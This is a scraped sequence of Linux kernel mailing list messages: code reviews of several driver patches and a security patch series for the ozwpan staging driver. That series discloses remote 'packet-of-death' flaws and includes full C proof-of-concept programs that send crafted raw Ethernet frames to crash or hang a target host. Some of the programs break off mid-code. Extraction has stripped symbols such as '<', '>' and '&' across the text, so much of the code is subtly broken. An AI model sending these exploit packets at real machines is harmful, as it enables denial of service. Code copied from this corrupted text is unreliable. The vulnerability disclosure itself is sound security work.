+ writeb(UARTMODEM_TXRTSE, sport-port.membase + UARTMODEM);
+ } else {
+ sport-port.rs485.flags = ~SER_RS485_ENABLED;
Why the need to clear the flag? sport was kzalloc'ed.
--
To unsubscribe from this list: send the line unsubscribe linux-kernel in
the body of a message to majord...@vger.kernel.org
More majordomo info at http://vger.kernel.org/majordomo-info.html
Please read the FAQ at http://www.tux.org/lkml/
Re: [PATCH 02/13] dmaengine: Introduce dma_request_slave_channel_compat_reason()
On Fri, May 29, 2015 at 11:42:27AM +0200, Geert Uytterhoeven wrote: On Fri, May 29, 2015 at 11:33 AM, Vinod Koul vinod.k...@intel.com wrote: On Tue, May 26, 2015 at 04:25:57PM +0300, Peter Ujfalusi wrote: dma_request_slave_channel_compat() 'eats' up the returned error codes which prevents drivers using the compat call to be able to do deferred probing. The new wrapper is identical in functionality but it will return with error code in case of failure and will pass the -EPROBE_DEFER to the caller in case dma_request_slave_channel_reason() returned with it. This is okay but am worried about one more warpper, how about fixing dma_request_slave_channel_compat() Then all callers of dma_request_slave_channel_compat() have to be modified to handle ERR_PTR first. The same is true for (the existing) dma_request_slave_channel_reason() vs. dma_request_slave_channel(). Good point, looking again, I think we should rather fix dma_request_slave_channel_reason() as it was expected to return err code and add new users. Anyway users of this API do expect the reason... -- ~Vinod -- To unsubscribe from this list: send the line unsubscribe linux-kernel in the body of a message to majord...@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: [PATCH 05/13] android: binder: refactor binder_transact transaction buffer loop
On Thu, May 28, 2015 at 04:08:23PM -0700, Riley Andrews wrote:
+static int binder_transaction_buffer_acquire(
+ struct binder_transaction *t, struct binder_transaction_data *tr,
+ struct binder_thread *thread, struct binder_transaction *in_reply_to)
+{
+ struct binder_proc *proc = thread-proc;
+ binder_size_t *offp, *off_end, off_min;
+ struct flat_binder_object *fp;
+ uint32_t result;
+
+ if (!IS_ALIGNED(tr-offsets_size, sizeof(binder_size_t))) {
+ binder_user_error(%d:%d got transaction with invalid offsets
size, %lld\n,
+ proc-pid, thread-pid,
+ (u64)tr-offsets_size);
+ return BR_FAILED_REPLY;
This smells like a behavior change. In the original code we called
trace_binder_transaction_failed_buffer_release(). Are you sure it's
correct?
Naming the labels after the goto location is an anti-pattern.
aaa = kmalloc();
if (!aaa)
goto kmalloc_failed;
The label name doesn't provide useful information compared to the line
before. If binder_transaction_buffer_acquire() fails we say goto
err_translate_failed; but actually translate didn't fail because we
haven't yet attempted to translate so the little information the label
does provide is misleading. Grumble grumble etc. Also error: is a
meaningless label name. Name labels after what the label does
goto release_buffer;.
regards,
dan carpenter
--
To unsubscribe from this list: send the line unsubscribe linux-kernel in
the body of a message to majord...@vger.kernel.org
More majordomo info at http://vger.kernel.org/majordomo-info.html
Please read the FAQ at http://www.tux.org/lkml/
Re: [PATCH RFC] s390/sclp: pass timeout as HZ independent value
On Fri, May 29, 2015 at 11:51:54AM +0200, Nicholas Mc Guire wrote: On Fri, 29 May 2015, Heiko Carstens wrote: Yes, the orginal code seems to be broken. Since I've no idea what the intended timeout value should be, let's simply ask Michael, who wrote this code eight years ago ;) While these lines get touched anyway, it would make sense to use schedule_timeout_interruptible() instead, and get rid of set_current_state(). Well that is not really equivalent schedule_timeout_interruptible() is doing __set_current_state not set_current_state so that would drop the mb() and no WRITE_ONCE() And how does that matter in this case? -- To unsubscribe from this list: send the line unsubscribe linux-kernel in the body of a message to majord...@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
[PATCH] mfd: arizona: Specify regmap endianness
Explicitly set the regmap endianness instead of relying on
the default being correct.
Signed-off-by: Richard Fitzgerald r...@opensource.wolfsonmicro.com
---
drivers/mfd/wm5102-tables.c |4
drivers/mfd/wm5110-tables.c |4
drivers/mfd/wm8997-tables.c |2 ++
drivers/mfd/wm8998-tables.c |2 ++
4 files changed, 12 insertions(+), 0 deletions(-)
diff --git a/drivers/mfd/wm5102-tables.c b/drivers/mfd/wm5102-tables.c
index aeae6ec..3981123 100644
--- a/drivers/mfd/wm5102-tables.c
+++ b/drivers/mfd/wm5102-tables.c
@@ -1969,6 +1969,8 @@ const struct regmap_config wm5102_spi_regmap = {
.reg_bits = 32,
.pad_bits = 16,
.val_bits = 16,
+ .reg_format_endian = REGMAP_ENDIAN_BIG,
+ .val_format_endian = REGMAP_ENDIAN_BIG,
.max_register = WM5102_MAX_REGISTER,
.readable_reg = wm5102_readable_register,
@@ -1983,6 +1985,8 @@ EXPORT_SYMBOL_GPL(wm5102_spi_regmap);
const struct regmap_config wm5102_i2c_regmap = {
.reg_bits = 32,
.val_bits = 16,
+ .reg_format_endian = REGMAP_ENDIAN_BIG,
+ .val_format_endian = REGMAP_ENDIAN_BIG,
.max_register = WM5102_MAX_REGISTER,
.readable_reg = wm5102_readable_register,
diff --git a/drivers/mfd/wm5110-tables.c b/drivers/mfd/wm5110-tables.c
index 12cad94..e92b1c8 100644
--- a/drivers/mfd/wm5110-tables.c
+++ b/drivers/mfd/wm5110-tables.c
@@ -3007,6 +3007,8 @@ const struct regmap_config wm5110_spi_regmap = {
.reg_bits = 32,
.pad_bits = 16,
.val_bits = 16,
+ .reg_format_endian = REGMAP_ENDIAN_BIG,
+ .val_format_endian = REGMAP_ENDIAN_BIG,
.max_register = WM5110_MAX_REGISTER,
.readable_reg = wm5110_readable_register,
@@ -3021,6 +3023,8 @@ EXPORT_SYMBOL_GPL(wm5110_spi_regmap);
const struct regmap_config wm5110_i2c_regmap = {
.reg_bits = 32,
.val_bits = 16,
+ .reg_format_endian = REGMAP_ENDIAN_BIG,
+ .val_format_endian = REGMAP_ENDIAN_BIG,
.max_register = WM5110_MAX_REGISTER,
.readable_reg = wm5110_readable_register,
diff --git a/drivers/mfd/wm8997-tables.c b/drivers/mfd/wm8997-tables.c
index c0c25d75..01bb57b 100644
--- a/drivers/mfd/wm8997-tables.c
+++ b/drivers/mfd/wm8997-tables.c
@@ -1521,6 +1521,8 @@ static bool wm8997_volatile_register(struct device *dev,
unsigned int reg)
const struct regmap_config wm8997_i2c_regmap = {
.reg_bits = 32,
.val_bits = 16,
+ .reg_format_endian = REGMAP_ENDIAN_BIG,
+ .val_format_endian = REGMAP_ENDIAN_BIG,
.max_register = WM8997_MAX_REGISTER,
.readable_reg = wm8997_readable_register,
diff --git a/drivers/mfd/wm8998-tables.c b/drivers/mfd/wm8998-tables.c
index 60e8622..e6de3cd 100644
--- a/drivers/mfd/wm8998-tables.c
+++ b/drivers/mfd/wm8998-tables.c
@@ -1580,6 +1580,8 @@ static bool wm8998_volatile_register(struct device *dev,
unsigned int reg)
const struct regmap_config wm8998_i2c_regmap = {
.reg_bits = 32,
.val_bits = 16,
+ .reg_format_endian = REGMAP_ENDIAN_BIG,
+ .val_format_endian = REGMAP_ENDIAN_BIG,
.max_register = WM8998_MAX_REGISTER,
.readable_reg = wm8998_readable_register,
--
1.7.2.5
--
To unsubscribe from this list: send the line unsubscribe linux-kernel in
the body of a message to majord...@vger.kernel.org
More majordomo info at http://vger.kernel.org/majordomo-info.html
Please read the FAQ at http://www.tux.org/lkml/
Re: [PATCH v2 0/2] extcon: Inform the state of both ID and VBUS pin for USB
Hi Ivan,
On 05/28/2015 05:45 PM, Ivan T. Ivanov wrote:
Hi Chanwoo,
On Wed, 2015-05-27 at 21:15 +0900, Chanwoo Choi wrote:
Previously, I discussed how to inform the changed state of both ID
and VBUS pin for USB connector on patch-set[1].
[1] https://lkml.org/lkml/2015/4/2/310
So, this patch adds the extcon_set_cable_line_state() function to inform
the additional state of external connectors without additional register/
unregister functions. This function uses the existing notifier chain
which is registered by extcon_register_notifier() /
extcon_register_interest().
The extcon_set_cable_line_state() can inform the new state of both
ID and VBUS pin state through extcon_set_cable_line_state().
For exmaple:
- On extcon-usb-gpio.c as extcon provider driver as following:
static void usb_extcon_detect_cable(struct work_struct *work)
{
...
/* check ID and update cable state */
id = gpiod_get_value_cansleep(info-id_gpiod);
if (id) {
extcon_set_cable_state_(info-edev, EXTCON_USB_HOST,
false);
extcon_set_cable_state_(info-edev, EXTCON_USB,
true);
extcon_set_cable_line_state(info-edev, EXTCON_USB,
EXTCON_USB_ID_HIGH);
I am getting more and more confused :-). Why EXTCON_USB is now used for ID
notifications?
It should be EXTCON_USB_HOST, no? Why we need another function, framework
already have
required information from the function one line above, do I miss something?
The EXTCON fwk has the follwoing different functions:
- extcon_set_cable_state()
: Send whether external connectors is attached or detached to the extcon
consumer driver in kernel space and to the user-space by using the uevent.
- extcon_set_cable_line_state()
: Send the specific line state of both ID and VBUS pin state of USB connector
to only the extcon consumer driver in kernel space. This function don't send
the uevent to the user-space because user-space process don't consider the h/w
pin state.
} else {
extcon_set_cable_state_(info-edev, EXTCON_USB,
false);
extcon_set_cable_state_(info-edev, EXTCON_USB_HOST,
true);
extcon_set_cable_line_state(info-edev, EXTCON_USB,
EXTCON_USB_ID_LOW);
}
}
- On specific extcon consumder driver as following:
static int xxx_probe(struct platform_device *pdev)
{
struct notifier_chain nh;
nb.notifier_call = extcon_usb_notifier;
ret = extcon_register_notifier(edev, EXTCON_USB, nb);
This is bit misleading. 'nb' could not be in stack.
Right. It is my mistake. I'll fix it for example.
Thanks,
Chanwoo Choi
--
To unsubscribe from this list: send the line unsubscribe linux-kernel in
the body of a message to majord...@vger.kernel.org
More majordomo info at http://vger.kernel.org/majordomo-info.html
Please read the FAQ at http://www.tux.org/lkml/
Re: [PATCH 02/10] printk: Try harder to get logbuf_lock on NMI
On Thu 2015-05-28 13:09:44, Andrew Morton wrote:
On Thu, 28 May 2015 15:50:54 +0200 Petr Mladek pmla...@suse.cz wrote:
+{
+ u64 start_time, current_time;
+ int this_cpu = smp_processor_id();
+
+ /* no way if we are already locked on this CPU */
+ if (logbuf_cpu == this_cpu)
+ return 0;
+
+ /* try hard to get the lock but do not wait forever */
+ start_time = cpu_clock(this_cpu);
+ current_time = start_time;
+ while (current_time - start_time
TRY_LOCKBUF_LOCK_MAX_DELAY_NS) {
+ if (raw_spin_trylock(logbuf_lock))
+ return 1;
+ cpu_relax();
+ current_time = cpu_clock(this_cpu);
+ }
(Looks at the read_seqcount_retry() in
kernel/time/sched_clock.c:sched_clock())
Running cpu_clock() in NMI context seems a generally bad idea.
I am sorry but this is too cryptic for me :-)
read_seqcount_retry() looks safe to me under NMI.
hmpf. If you guys say so...
Note that it's not just a matter of safe to call from NMI context.
The above loop also assume that cpu_clock() is *being updated* within
the context of single NMI. Is that true/safe now and in the future?
Probably. I didn't check all architectures but ARM looks OK at present.
We should at least update Documentation/timers/timekeeping.txt: a sane
value becomes the correct value, no alternatives.
There are many sites in kernel/printk/printk.c which take logbuf_lock,
but this patch only sets logbuf_cpu in one of those cases:
vprintk_emit(). I suggest adding helper functions to take/release
logbuf_lock. And rename logbuf_lock to something else to ensure that
nobody accidentally takes the lock directly.
IMHO, vprintk_emit() is special. It is the only location where the
lock is taken in NMI context. The other functions are used to dump
@logbuf and are called in normal context.
try_logbuf_lock_in_nmi() could fail and we need to handle the error
path. We do not need to do this in the other locations.
Note that we do not want to get the console in NMI because
there are even more locks that might cause a deadlock.
Consider the case where a CPU has taken logbuf_lock within
devkmsg_read() and then receives an NMI, from which it calls
try_logbuf_lock_in_nmi():
I am not sure that I understand. My point is that we do not call
devkmsg_read() from NMI context, so we do not need to use
try_logbuf_lock_in_nmi() there. IMHO, the same is true for
all other locations except for vprintk_emit().
+/* We must be careful in NMI when we managed to preempt a running printk */
+static int try_logbuf_lock_in_nmi(void)
+{
+ u64 start_time, current_time;
+ int this_cpu = smp_processor_id();
+
+ /* no way if we are already locked on this CPU */
+ if (logbuf_cpu == this_cpu)
+ return 0;
Or do you have this check in mind? It will detect the deadlock
immediately but @logbuf_cpu is set only in vprintk_emit(). We
will spin when NMI comes inside the other functions,
e.g. devkmsg_read().
+ /* try hard to get the lock but do not wait forever */
+ start_time = cpu_clock(this_cpu);
+ current_time = start_time;
+ while (current_time - start_time TRY_LOCKBUF_LOCK_MAX_DELAY_NS) {
+ if (raw_spin_trylock(logbuf_lock))
+ return 1;
+ cpu_relax();
+ current_time = cpu_clock(this_cpu);
+ }
+
+ return 0;
+}
That CPU is now going to spin around for 100us and then time out.
Yes, there was a deadlock without the patch. So, limited spinning is
still a win.
Or would you like to detect the deadlock immediately in all cases?
I mean to add the proposed wrapper around take/release lock calls
and set/test some cpu-specific variable there?
It sounds interesting. Well, the detection will not be 100% correct
because there is a small race window between taking @logbuf_lock
and setting @lockbuf_cpu. I wonder if it is worth doing. But I will
do it if you want.
Best Regards,
Petr
--
To unsubscribe from this list: send the line unsubscribe linux-kernel in
the body of a message to majord...@vger.kernel.org
More majordomo info at http://vger.kernel.org/majordomo-info.html
Please read the FAQ at http://www.tux.org/lkml/
[PATCH v3 0/4] ozwpan: Four remote packet-of-death vulnerabilities
This is v3 for this patch series, enhancing readability. The ozwpan driver accepts network packets, parses them, and converts them into various USB functionality. There are numerous security vulnerabilities in the handling of these packets. Two of them result in a memcpy(kernel_buffer, network_packet, -length), one of them is a divide-by-zero, and one of them is a loop that decrements -1 until it's zero. I've written a very simple proof-of-concept for each one of these vulnerabilities to aid with detecting and fixing them. The general operation of each proof-of-concept code is: - Load the module with: # insmod ozwpan.ko g_net_dev=eth0 - Compile the PoC with ozprotocol.h from the kernel tree: $ cp /path/to/linux/drivers/staging/ozwpan/ozprotocol.h ./ $ gcc ./poc.c -o ./poc - Run the PoC: # ./poc eth0 [mac-address] These PoCs should also be useful to the maintainers for testing out constructing and sending various other types of malformed packets against which this driver should be hardened. Please assign CVEs for these vulnerabilities. I believe the first two patches of this set can receive one CVE for both, and the remaining two can receive one CVE each. On a slightly related note, there are several other vulnerabilities in this driver that are worth looking into. When ozwpan receives a packet, it casts the packet into a variety of different structs, based on the value of type and length parameters inside the packet. When making these casts, and when reading bytes based on this length parameter, the actual length of the packet in the socket buffer is never actually consulted. As such, it's very likely that a packet could be sent that results in the kernel reading memory in adjacent buffers, resulting in an information leak, or from unpaged addresses, resulting in a crash. In the former case, it may be possible with certain message types to actually send these leaked adjacent bytes back to the sender of the packet. So, I'd highly recommend the maintainers of this driver go branch-by-branch from the initial rx function, adding checks to ensure all reads and casts are within the bounds of the socket buffer. Jason A. Donenfeld (4): ozwpan: Use proper check to prevent heap overflow ozwpan: Use unsigned ints to prevent heap overflow ozwpan: divide-by-zero leading to panic ozwpan: unchecked signed subtraction leads to DoS drivers/staging/ozwpan/ozhcd.c | 8 drivers/staging/ozwpan/ozusbif.h | 4 ++-- drivers/staging/ozwpan/ozusbsvc1.c | 18 ++ 3 files changed, 20 insertions(+), 10 deletions(-) -- 2.4.1 -- To unsubscribe from this list: send the line unsubscribe linux-kernel in the body of a message to majord...@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
[PATCH v3 1/4] ozwpan: Use proper check to prevent heap overflow
Since elt-length is a u8, we can make this variable a u8. Then we can
do proper bounds checking more easily. Without this, a potentially
negative value is passed to the memcpy inside oz_hcd_get_desc_cnf,
resulting in a remotely exploitable heap overflow with network
supplied data.
This could result in remote code execution. A PoC which obtains DoS
follows below. It requires the ozprotocol.h file from this module.
=-=-=-=-=-=
#include arpa/inet.h
#include linux/if_packet.h
#include net/if.h
#include netinet/ether.h
#include stdio.h
#include string.h
#include stdlib.h
#include endian.h
#include sys/ioctl.h
#include sys/socket.h
#define u8 uint8_t
#define u16 uint16_t
#define u32 uint32_t
#define __packed __attribute__((__packed__))
#include ozprotocol.h
static int hex2num(char c)
{
if (c = '0' c = '9')
return c - '0';
if (c = 'a' c = 'f')
return c - 'a' + 10;
if (c = 'A' c = 'F')
return c - 'A' + 10;
return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
int i;
for (i = 0; i 6; i++) {
int a, b;
a = hex2num(*txt++);
if (a 0)
return -1;
b = hex2num(*txt++);
if (b 0)
return -1;
*addr++ = (a 4) | b;
if (i 5 *txt++ != ':')
return -1;
}
return 0;
}
int main(int argc, char *argv[])
{
if (argc 3) {
fprintf(stderr, Usage: %s interface destination_mac\n,
argv[0]);
return 1;
}
uint8_t dest_mac[6];
if (hwaddr_aton(argv[2], dest_mac)) {
fprintf(stderr, Invalid mac address.\n);
return 1;
}
int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
if (sockfd 0) {
perror(socket);
return 1;
}
struct ifreq if_idx;
int interface_index;
strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
if (ioctl(sockfd, SIOCGIFINDEX, if_idx) 0) {
perror(SIOCGIFINDEX);
return 1;
}
interface_index = if_idx.ifr_ifindex;
if (ioctl(sockfd, SIOCGIFHWADDR, if_idx) 0) {
perror(SIOCGIFHWADDR);
return 1;
}
uint8_t *src_mac = (uint8_t *)if_idx.ifr_hwaddr.sa_data;
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_elt_connect_req oz_elt_connect_req;
} __packed connect_packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2],
src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2],
dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION
OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(0)
},
.oz_elt = {
.type = OZ_ELT_CONNECT_REQ,
.length = sizeof(struct oz_elt_connect_req)
},
.oz_elt_connect_req = {
.mode = 0,
.resv1 = {0},
.pd_info = 0,
.session_id = 0,
.presleep = 35,
.ms_isoc_latency = 0,
.host_vendor = 0,
.keep_alive = 0,
.apps = htole16((1 OZ_APPID_USB) | 0x1),
.max_len_div16 = 0,
.ms_per_isoc = 0,
.up_audio_buf = 0,
.ms_per_elt = 0
}
};
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_get_desc_rsp oz_get_desc_rsp;
} __packed pwn_packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2],
src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2],
dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION
OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(1)
},
.oz_elt = {
.type =
[PATCH v3 4/4] ozwpan: unchecked signed subtraction leads to DoS
The subtraction here was using a signed integer and did not have any
bounds checking at all. This commit adds proper bounds checking, made
easy by use of an unsigned integer. This way, a single packet won't be
able to remotely trigger a massive loop, locking up the system for a
considerable amount of time. A PoC follows below, which requires
ozprotocol.h from this module.
=-=-=-=-=-=
#include arpa/inet.h
#include linux/if_packet.h
#include net/if.h
#include netinet/ether.h
#include stdio.h
#include string.h
#include stdlib.h
#include endian.h
#include sys/ioctl.h
#include sys/socket.h
#define u8 uint8_t
#define u16 uint16_t
#define u32 uint32_t
#define __packed __attribute__((__packed__))
#include ozprotocol.h
static int hex2num(char c)
{
if (c = '0' c = '9')
return c - '0';
if (c = 'a' c = 'f')
return c - 'a' + 10;
if (c = 'A' c = 'F')
return c - 'A' + 10;
return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
int i;
for (i = 0; i 6; i++) {
int a, b;
a = hex2num(*txt++);
if (a 0)
return -1;
b = hex2num(*txt++);
if (b 0)
return -1;
*addr++ = (a 4) | b;
if (i 5 *txt++ != ':')
return -1;
}
return 0;
}
int main(int argc, char *argv[])
{
if (argc 3) {
fprintf(stderr, Usage: %s interface destination_mac\n,
argv[0]);
return 1;
}
uint8_t dest_mac[6];
if (hwaddr_aton(argv[2], dest_mac)) {
fprintf(stderr, Invalid mac address.\n);
return 1;
}
int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
if (sockfd 0) {
perror(socket);
return 1;
}
struct ifreq if_idx;
int interface_index;
strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
if (ioctl(sockfd, SIOCGIFINDEX, if_idx) 0) {
perror(SIOCGIFINDEX);
return 1;
}
interface_index = if_idx.ifr_ifindex;
if (ioctl(sockfd, SIOCGIFHWADDR, if_idx) 0) {
perror(SIOCGIFHWADDR);
return 1;
}
uint8_t *src_mac = (uint8_t *)if_idx.ifr_hwaddr.sa_data;
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_elt_connect_req oz_elt_connect_req;
struct oz_elt oz_elt2;
struct oz_multiple_fixed oz_multiple_fixed;
} __packed packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2],
src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2],
dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION
OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(0)
},
.oz_elt = {
.type = OZ_ELT_CONNECT_REQ,
.length = sizeof(struct oz_elt_connect_req)
},
.oz_elt_connect_req = {
.mode = 0,
.resv1 = {0},
.pd_info = 0,
.session_id = 0,
.presleep = 0,
.ms_isoc_latency = 0,
.host_vendor = 0,
.keep_alive = 0,
.apps = htole16((1 OZ_APPID_USB) | 0x1),
.max_len_div16 = 0,
.ms_per_isoc = 0,
.up_audio_buf = 0,
.ms_per_elt = 0
},
.oz_elt2 = {
.type = OZ_ELT_APP_DATA,
.length = sizeof(struct oz_multiple_fixed) - 3
},
.oz_multiple_fixed = {
.app_id = OZ_APPID_USB,
.elt_seq_num = 0,
.type = OZ_USB_ENDPOINT_DATA,
.endpoint = 0,
.format = OZ_DATA_F_MULTIPLE_FIXED,
.unit_size = 1,
.data = {0}
}
};
struct sockaddr_ll socket_address = {
.sll_ifindex = interface_index,
.sll_halen = ETH_ALEN,
.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2],
dest_mac[3], dest_mac[4], dest_mac[5] }
};
if (sendto(sockfd, packet,
[PATCH v3 3/4] ozwpan: divide-by-zero leading to panic
A network supplied parameter was not checked before division, leading to
a divide-by-zero. Since this happens in the softirq path, it leads to a
crash. A PoC follows below, which requires the ozprotocol.h file from
this module.
=-=-=-=-=-=
#include arpa/inet.h
#include linux/if_packet.h
#include net/if.h
#include netinet/ether.h
#include stdio.h
#include string.h
#include stdlib.h
#include endian.h
#include sys/ioctl.h
#include sys/socket.h
#define u8 uint8_t
#define u16 uint16_t
#define u32 uint32_t
#define __packed __attribute__((__packed__))
#include ozprotocol.h
static int hex2num(char c)
{
if (c = '0' c = '9')
return c - '0';
if (c = 'a' c = 'f')
return c - 'a' + 10;
if (c = 'A' c = 'F')
return c - 'A' + 10;
return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
int i;
for (i = 0; i 6; i++) {
int a, b;
a = hex2num(*txt++);
if (a 0)
return -1;
b = hex2num(*txt++);
if (b 0)
return -1;
*addr++ = (a 4) | b;
if (i 5 *txt++ != ':')
return -1;
}
return 0;
}
int main(int argc, char *argv[])
{
if (argc 3) {
fprintf(stderr, Usage: %s interface destination_mac\n,
argv[0]);
return 1;
}
uint8_t dest_mac[6];
if (hwaddr_aton(argv[2], dest_mac)) {
fprintf(stderr, Invalid mac address.\n);
return 1;
}
int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
if (sockfd 0) {
perror(socket);
return 1;
}
struct ifreq if_idx;
int interface_index;
strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
if (ioctl(sockfd, SIOCGIFINDEX, if_idx) 0) {
perror(SIOCGIFINDEX);
return 1;
}
interface_index = if_idx.ifr_ifindex;
if (ioctl(sockfd, SIOCGIFHWADDR, if_idx) 0) {
perror(SIOCGIFHWADDR);
return 1;
}
uint8_t *src_mac = (uint8_t *)if_idx.ifr_hwaddr.sa_data;
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_elt_connect_req oz_elt_connect_req;
struct oz_elt oz_elt2;
struct oz_multiple_fixed oz_multiple_fixed;
} __packed packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2],
src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2],
dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION
OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(0)
},
.oz_elt = {
.type = OZ_ELT_CONNECT_REQ,
.length = sizeof(struct oz_elt_connect_req)
},
.oz_elt_connect_req = {
.mode = 0,
.resv1 = {0},
.pd_info = 0,
.session_id = 0,
.presleep = 0,
.ms_isoc_latency = 0,
.host_vendor = 0,
.keep_alive = 0,
.apps = htole16((1 OZ_APPID_USB) | 0x1),
.max_len_div16 = 0,
.ms_per_isoc = 0,
.up_audio_buf = 0,
.ms_per_elt = 0
},
.oz_elt2 = {
.type = OZ_ELT_APP_DATA,
.length = sizeof(struct oz_multiple_fixed)
},
.oz_multiple_fixed = {
.app_id = OZ_APPID_USB,
.elt_seq_num = 0,
.type = OZ_USB_ENDPOINT_DATA,
.endpoint = 0,
.format = OZ_DATA_F_MULTIPLE_FIXED,
.unit_size = 0,
.data = {0}
}
};
struct sockaddr_ll socket_address = {
.sll_ifindex = interface_index,
.sll_halen = ETH_ALEN,
.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2],
dest_mac[3], dest_mac[4], dest_mac[5] }
};
if (sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr
*)socket_address, sizeof(socket_address)) 0) {
perror(sendto);
return 1;
Re: [PATCH v3 6/6] ACPI: import watchdog info of GTDT into platform device
Hi Will, As you know, I have moved all the GTDT code to ACPI driver , and simplify the GTDT relevant code in arm_arch_timer.c. That will be in my next patchset. but you can check here : https://git.linaro.org/people/fu.wei/linux.git/shortlog/refs/heads/acpi-topic-sbsa-watchdog_upstream_v4_devel Great thanks for your suggestion! On 27 May 2015 at 18:44, Will Deacon will.dea...@arm.com wrote: On Tue, May 26, 2015 at 05:27:33PM +0100, Fu Wei wrote: On 26 May 2015 at 23:36, Guenter Roeck li...@roeck-us.net wrote: On Tue, May 26, 2015 at 04:18:42PM +0100, Will Deacon wrote: Sure, the device it describes may only ever exist on ARM systems, but by that logic then we should be moving lots of drivers back under arch/arm[64]. It is nt the driver, but its instantiation. The question here would be how and where to instantiate the driver, not where the driver itself is located. The driver itself is ACPI agnostic. I really don't mind to refactor the code, If we can make this patch better. But for now, I can't see the good reason to move ACPI-relevant code into a watchdog driver. I don't really mind where you move it, just as long as it's outside of arch/arm64. The reasons I put the code here are (1)SBSA watchdog only for ARM64 (2)GTDT only for ARM, design for ARM, (3)For ARM Architecture, only ARM64 support ACPI. For minimizing arch/arm64/kernel/acpi.c, we can't put the code here, and we had better keep these code outside the driver, So do you have any suggestion for the better location of the GTDT code? I don't understand why you can't do the same as drivers/clocksource/arm_arch_timer.c and parse the table directly in the driver. If there are objections from the driver/subsystem maintainers then it sounds like we need a mechanical ACPI table - platform device conversion in the core, like we have for device-tree. Will -- Best regards, Fu Wei Software Engineer Red Hat Software (Beijing) Co.,Ltd.Shanghai Branch Ph: +86 21 61221326(direct) Ph: +86 186 2020 4684 (mobile) Room 1512, Regus One Corporate Avenue,Level 15, One Corporate Avenue,222 Hubin Road,Huangpu District, Shanghai,China 200021 -- To unsubscribe from this list: send the line unsubscribe linux-kernel in the body of a message to majord...@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
[PATCH] cpuidle: powernv/pseries: Decrease the snooze residency
The idle cpus which stay in snooze for a long period can degrade the
perfomance of the sibling cpus. If the cpu stays in snooze for more
than target residency of the next available idle state, then exit from
snooze. This gives a chance to the cpuidle governor to re-evaluate the
last idle state of the cpu to promote it to deeper idle states.
Signed-off-by: Shilpasri G Bhat shilpa.b...@linux.vnet.ibm.com
---
drivers/cpuidle/cpuidle-powernv.c | 12
drivers/cpuidle/cpuidle-pseries.c | 11 +++
2 files changed, 23 insertions(+)
diff --git a/drivers/cpuidle/cpuidle-powernv.c
b/drivers/cpuidle/cpuidle-powernv.c
index 5937207..1e3ef5e 100644
--- a/drivers/cpuidle/cpuidle-powernv.c
+++ b/drivers/cpuidle/cpuidle-powernv.c
@@ -29,18 +29,25 @@ struct cpuidle_driver powernv_idle_driver = {
static int max_idle_state;
static struct cpuidle_state *cpuidle_state_table;
+static u64 snooze_timeout;
+static bool snooze_timeout_en;
static int snooze_loop(struct cpuidle_device *dev,
struct cpuidle_driver *drv,
int index)
{
+ u64 snooze_exit_time;
+
local_irq_enable();
set_thread_flag(TIF_POLLING_NRFLAG);
+ snooze_exit_time = get_tb() + snooze_timeout;
ppc64_runlatch_off();
while (!need_resched()) {
HMT_low();
HMT_very_low();
+ if (snooze_timeout_en get_tb() snooze_exit_time)
+ break;
}
HMT_medium();
@@ -252,6 +259,11 @@ static int powernv_idle_probe(void)
cpuidle_state_table = powernv_states;
/* Device tree can indicate more idle states */
